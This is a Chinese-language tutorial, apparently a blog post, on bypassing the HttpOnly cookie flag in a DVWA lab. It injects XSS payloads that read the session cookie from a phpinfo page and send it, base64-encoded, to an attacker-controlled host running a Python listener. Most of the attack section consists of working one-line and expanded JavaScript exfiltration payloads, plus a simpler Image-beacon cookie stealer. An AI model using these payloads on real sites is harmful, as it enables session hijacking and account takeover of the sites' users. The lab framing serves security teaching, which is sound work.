简介

在防御XSS漏洞时,目标会启用HttpOnly标志以降低cookie被窃取的风险,常见的绕过方法有TRACE请求、响应中获取cookie、构建Ajax请求(前端漏洞触发后端RCE),今天介绍的是另一种方法。

部署

在开始前,我们先来做个对比实验。

  Kali Linux IP:192.168.64.129

  DVWA:192.168.64.132

  先将DVWA靶机设置为low状态。

在XSS反射型漏洞页面输入payload:

<script>alert(document.cookie)</script>

查看获取到的cookie,可以看到能够获取到PHPSESSID。

 我们可以通过浏览器自带的”应用”功能来修改目标状态为开启了HttpOnly。

再次输入获取cookie的payload,即可看到不会显示PHPSESSID了,这就是HttpOnly的功劳。

绕过

  既然对方开启了HttpOnly,那么我们应该怎样绕过呢?

  通过查看phpinfo文件,我们可以很轻松的看到显示的cookie内容,通过对比可以发现cookie是一致的。

那么我们是否可以通过js构造请求,使其将phpinfo文件中的cookie窃取并发送到攻击者的主机上呢?

  答案是可以的,在Kali Linux主机中输入命令开启接收

python3 -m http.server 80

我们先构造一个常用窃取cookie语句:

<script>var i=new Image;i.src="http://192.168.240.129/"+btoa(document.cookie);</script>

 执行后,Kali Linux会话会收到接收的cookie

 此时并没有获取到PHPSESSID,我们需要构造一个超长payload字符串:

<script>
  fetch('http://ip/phpinfo')
    .then(response => response.text())
    .then(data => {
      // 开始字符串和结束字符串,用于过滤HTML内容
      const startString = '<tr><td class="e">HTTP_COOKIE </td><td class="v">';
      const endString = '</td></tr>';


      // 起始字符串索引
      const startIndex = data.indexOf(startString) + startString.length;


      // 结束字符串索引
      const endIndex = data.indexOf(endString, startIndex);


      // 获取开始和结束字符串之间的字符串内容
      const cookies = data.substring(startIndex, endIndex);


      // 将获取到的cookie进行base64加密
      const encodedCookies = btoa(cookies);


      // 将编码的cookie发送到服务器
      fetch('http://ip/' + '?encodedCookies=' + encodedCookies, {
        method: 'GET'
      });
    });
</script>

将其缩为一行内容,然后修改phpinfo文件的IP地址和路径,并修改攻击者的受控主机IP地址:

<script>fetch('http://192.168.64.132/dvwa/phpinfo.php').then(response=>response.text()).then(data=>{const startString='<tr><td class="e">HTTP_COOKIE </td><td class="v">';const endString='</td></tr>';const startIndex=data.indexOf(startString)+startString.length;const endIndex=data.indexOf(endString,startIndex);const cookies=data.substring(startIndex,endIndex);const encodedCookies=btoa(cookies);fetch('http://192.168.64.129/'+'?encodedCookies='+encodedCookies,{method:'GET'});});</script>

在DVWA环境中执行,即可在Kali Linux的会话中收到cookie。

将其解密,即可获取cookie原文。

注意

该场景一是需要目标拥有phpinfo文件,二是phpinfo的文件路径在窃取cookie的应用子路径中,在本例中是窃取的DVWA,路径就是/dvwa/phpinfo,也就是说可以窃取的为DVWA和根路径,但是不能为其它路径。